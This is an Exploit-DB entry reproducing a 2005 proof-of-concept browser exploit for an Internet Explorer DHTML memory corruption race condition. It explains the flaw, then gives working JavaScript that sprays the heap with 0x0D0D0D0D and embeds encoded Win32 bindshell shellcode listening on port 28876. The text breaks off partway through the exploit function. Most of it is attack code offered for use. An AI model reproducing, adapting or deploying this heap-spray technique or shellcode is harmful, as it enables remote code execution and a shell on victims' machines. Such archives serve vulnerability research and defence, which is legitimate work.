Exploit-DB #930
Description: Microsoft Internet Explorer - DHTML Object Memory Corruption
Type: remote
Platform: windows
Date: 2005-04-12
Author: Skylined

Exploit:
<HTML><!--
________________________________________________________________________________

    ,sSSSs,   Ss,       Internet Exploiter 2 v0.1
   SS"  `YS'   '*Ss.    MSIE R6025 Multithreading issue PoC exploit
  iS'            ,SS"   Copyright (C) 2003, 2004 by Berend-Jan Wever.
  YS,  .ss    ,sY"      http://www.edup.tudelft.nl/~bjwever
  `"YSSP"   sSS         <skylined@edup.tudelft.nl>
________________________________________________________________________________

  This program is free software; you can redistribute it and/or modify it under
  the terms of the GNU General Public License version 2, 1991 as published by
  the Free Software Foundation.

  This program is distributed in the hope that it will be useful, but WITHOUT
  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
  details.

  A copy of the GNU General Public License can be found at:
    http://www.gnu.org/licenses/gpl.html
  or you can write to:
    Free Software Foundation, Inc.
    59 Temple Place - Suite 330
    Boston, MA  02111-1307
    USA.

  The vulnerability:
  There is a race condition when using appendChild to append an element in one
  window to an element in another. A "dirty" read can be exploited to gain
  control over the process. The control can be gained because of this code:

  MSHTML.DLL @ 0x635F6074 (win2ksp4en)
  MOV     EAX, DWORD PTR [ESP+4]  ; EAX = Some pointer to the heap for mshtml
  MOV     EAX, DWORD PTR [EAX]    ; EAX = "dirty" value from heap
  JMP     NEAR DWORD PTR [EAX+8]  ; Jmp to memory pointed to by "dirty" value

  This is how we exploit it:
  - To get some control over the "dirty" value we try to "spray" the heap for
    mshtml with the value we want it to read. This is done with creatComment()s
    that contain a string full of our value. We want to spray effectve and
    fast, so we use as big a string as possible. If we use a string over 512
    bytes long, mshtml will write a pointer to the string instead of the string
    itself.
  - To jump to the right address, we have to make sure that the "dirty" value
    points to a pointer that in turn points to the address we want to jump to.

  The first part of the exploit will provide for all this in creating a
  number of dwords around 0x0D0D0D0D that all point to 0x0D0D0D0D. So if we
  "spray" the heap for mshtml with 0x0D0D0D0D, this is what will happen:

  MSHTML.DLL @ 0x635F6074 (win2ksp4en)
  MOV     EAX, DWORD PTR [ESP+4]  ; EAX = Some pointer to the heap fot mshtml
  MOV     EAX, DWORD PTR [EAX]    ; EAX = 0x0D0D0D0D
  JMP     NEAR DWORD PTR [EAX+8]  ; JMP [0x0D0D0D15] = JMP 0x0D0D0D0D
  HEAP @ 0x0D0D0D0D
  OR      EAX, 0x0D0D0D0D
  OR      EAX, 0x0D0D0D0D
  OR      EAX, 0x0D0D0D0D
  ...nopslide...
  shellcode

  This has proven to work quite reliable. Allthough testing showed that there
  is a chance we do not control the "dirty" value. In this case, the "dirty"
  value seems to be 0x11CF03f9 a lot of the time, so we make sure we cover
  that address with the '0D' nopslide-landingzone too.
-->

    <SCRIPT id="SkyLined" language="javascript">
        sMSHTML_heap_spray = unescape("%u0D0D%u0D0D");
        for (i=0; i<7; i++) // 512 bytes
            sMSHTML_heap_spray += sMSHTML_heap_spray;
        try {
            // We need to have an element in another window, so we try to create
            // one in the window that opened us. This will most likely fail
            // the first time because of XSS restrictions. In that case we open
            // this page in a new window and try again from there.
            exploit(opener.document.createComment(sMSHTML_heap_spray));
        } catch(e) {
            // both open() and showHelp() work with this
            window.open(document.location.href);
        }

        function exploit(parent_element) {
            // cosmetics, this window will DIE, so we move it out of view.
            opener.focus();
            window.moveTo(100000, 100000);

            iHeap_fill_to_address = 0x12000000;
            sHeap_return_address = unescape("%u0D0D%u0D0D");

            // 4 nops because the 0x0D slide has 5 byte instructions.
            sShellcode = unescape("%u3737%u3737" +
                // Win32 bindshell (port 28876, '\0' free, looping). Thanks to
                // HDM and others for inspiration and borrowed code. Source:
                // www.edup.tudelft.nl/~bjwever/shellcode/w32_bind_0free_loop.c
                "%u43eb"+"%u5756"+"%u458b"+"%u8b3c"+"%u0554"+"%u0178"+"%u52ea" +
                "%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf" +
                "%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b" +
                "%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64" +
                "%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850" +
                "%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff" +
                "%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22" +
                "%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6" +
                "%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe" +
                "%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031" +
                "%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56" +
                "%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964" +
                "%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353" +
                "%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343" +
                "%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031" +
                "%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b" +
                "%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
            // We are going to